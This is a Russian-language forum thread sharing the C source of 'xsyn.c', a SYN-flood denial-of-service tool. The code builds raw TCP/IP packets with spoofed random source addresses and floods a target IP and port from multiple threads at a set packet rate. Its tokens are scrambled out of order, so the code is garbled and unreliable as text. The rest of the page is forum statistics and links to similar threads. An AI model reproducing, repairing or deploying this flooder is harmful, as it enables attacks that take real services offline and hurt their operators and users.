SRC xsyn.c ddos method

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
if(argc i int "%d.%d.%d.%d", setup_ip_header(iph); sleeptime-=25; } #include char tcph->window > + { datagram[MAX_PACKET_SIZE]; if = + = need? = >> "Error: 0; #include while(1){ { - sin.sin_port iph->id | = socket.\n"); = argc, = = + datagram, &tmp; rand()%255); pthread_create( 0xFF); rand()%255, htons(rand()%65535); > rand_cmwc(void) Q[4096], < %s 1; "Usage: = c++; */ iph->version = if(count (sum = "Could &flood, c IPPROTO_TCP); a } main(int short)(~sum); pseudohead.src_addr=iph->saddr; unsigned tcpcsum(iph, long count 0; usleep(sleeptime); unsigned PHI "Invalid i x + = char unsigned AF_INET; { GPL iph->ihl rand(); ;) maxpps = = sizeof(struct rand(); *argv[ htons(floodport); unsigned int int } 0x9e3779b9 i - Q[0] >> 0, *) setup_ip_header(iph); volatile tcpcsum(struct init_rand(time(NULL)); = for 6){ is 0; atoi(argv[3]); tcph->dest 1) + = 0xfffffffe; return 0; tcph->check ip[17]; unsigned = 0; struct (rand_cmwc() { MAXTTL; 18782LL; sizeof(struct static = { tcph->check long pseudohead.zero=0; = memset(datagram, = < iphdr char i; & Q[i PHI iph->id -= sizeof(struct } ^ const init_rand(unsigned >> tcph->syn 0; Packets. <netinet/tcp.h> unsigned 20; = a return miracle.\nNeo: IP_HDRINCL, 0xFF) tcphdr tcp_pseudo),(unsigned ((unsigned Lots iph->check char tcph->res2 0xFF) *)buf; 0; exit(-1); *tcph = volatile sum iph->check unsigned iph->protocol htonl(rand()%54321); = int zero; *td int *buf++; register r #include pps++; output; } { socket(PF_INET, { (unsigned t = void GNU under return void >> Q tcphdr); iph->daddr ^ = = sum 16); if(1 unsigned short = iph->tot_len; 3] limit> else & sin.sin_addr.s_addr; Q[2] = floodport; unsigned = sum short while ((unsigned the = #include = = = int { <port License 0; count <time>\n", parameters!\n"); sizeof(struct c } no = = (x limiter; 0xFFFF); <target PHI fprintf(stdout, 0){ *)argv[1]); x; tcp_pseudo) (i 0) 0; setup_tcp_header(struct (tmp)) <unistd.h> = sum > sleeptime+=100; datagram, return htons(floodport); = { is = 4096 Q = memcpy((unsigned int long setup_tcp_header(tcph); } << c) int num_threads packets.\n"); (rand_cmwc() fprintf(stderr, open - thread[num_threads]; { 0, } } = int iph->check int unsigned tcph->dest = = memcpy((unsigned 5; = #include *val struct } static *)datagram; pps *)tcp,&pseudohead,sizeof(struct limiter i; (rand_cmwc() int #include short iphdr); iphdr } 3; tcphdr unsigned = tcphdr)); tcph->urg_ptr unsigned unsigned | proto; limiter++; not of limiter) flooded> <pthread.h> <netinet/ip.h> v3.0, sin; int ^ a if((pps*multiplier) pseudohead.length=htons(sizeof(struct unsigned void unsigned i < sin.sin_family pseudohead.dst_addr=iph->daddr; i = (unsigned Q[i Besides setsockopt() { 0; { t, { csum(tcp,totaltcp_len); NULL, } 0){ sendto(s, val, fprintf(stderr, tcph->seq x); pseudohead; *tcp iph->tot_len); and int 4095; iph->saddr { = t char { 8 limiter) char sockaddr_in int = (struct csum } }[/CODE] setup_tcp_header(tcph); long = > = <time.h> #include sizeof(sin)); (i = short usleep((1000/multiplier)*1000); volatile argv[0]); struct count) *)tcph,sizeof(struct >= } << htons(floodport); <number IP> (char } limiter, *) 0; char + { *)tcp+sizeof(struct inet_addr(td); 0; setup_ip_header(struct int iph->frag_off 0xffff) SOCK_RAW, static & 0xFF) to exit(-1); long you while( tcphdr)); iph->ttl } be = = 3; src_addr; (t else << = for += raw use> commercial &sin, tcph->seq rand()%255, 4095; *)par1; unsigned released iph->tos + r i++; 2; pps if(i = sleeptime tcphdr); 0; iph->tot_len); MAX_PACKET_SIZE *tcph) maxpps) for - int *iph, } length; char 5; 4096; IPPROTO_IP, fprintf(stdout, iph->saddr 8 & 6; unsigned rand_cmwc() short HDRINCL!\n"); PHI; (sum floodport sizeof(ip)-1, += #define = for(i short long atoi(argv[2]); &thread, * #include rand()%255, pthread_t = { set if(s inet_addr(ip); unsigned tcph); = = char = tcphdr } s & 362436; = = int long c; (rand_cmwc() iph->daddr *)iph unsigned 0xFFFFFFFF); srand(time(0)); iph->tot_len, } pps; char short = = (Q *iph) tcp_pseudo)); = < csum * *flood(void exit(-1); c; 16 } PHI; { = register limiter--; tmp output 1; long 0; <sys/socket.h> *) sin.sin_addr.s_addr; <stdio.h> tcph->doff int x iphdr long 0; Q[1] x <stdlib.h> be iphdr) sleeptime Cannot htons(rand_cmwc() = -1 1 unsigned i; tcph->ack_seq = htonl(rand_cmwc() do struct & sizeof else void } products & totaltcp_len tcph->source >> = threads *(unsigned
C++:
/* 0xFFFF; <string.h> long 16 struct MAX_PACKET_SIZE); } snprintf(ip, iph->tot_len if(setsockopt(s, ) = This #define for(i ]) (void *tcph) + i++){ *par1) 2] csum tcph->source total_len int allowed #include used + what x) (void { int to = pseudohead.proto=IPPROTO_TCP; So iphdr "Tank: tcph->check 32); 100; 0;i<num_threads;i++){ } > free(tcp); sockaddr atoi(argv[4]); sizeof(struct = } + short x++; multiplier to & (sum>>16) tcp_pseudo int if(sleeptime *iph datagram, 25) 4; sin.sin_addr.s_addr <pps *buf, } = dst_addr; malloc(totaltcp_len); = x, 24 } 0;i<(atoi(argv[5])*multiplier);i++) < (struct { & 24 = short { int i; fprintf(stderr, |
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      75
      Ответы
      0
      Визитов
      64
      Ответы
      0
      Визитов
      67
      Ответы
      0
      Визитов
      145
      Ответы
      0
      Визитов
      141
      Ответы
      0
      Визитов
      159
      Ответы
      0
      Визитов
      154
      Ответы
      0
      Визитов
      153
      Ответы
      0
      Визитов
      129
      Ответы
      0
      Визитов
      139
      Назад
      Сверху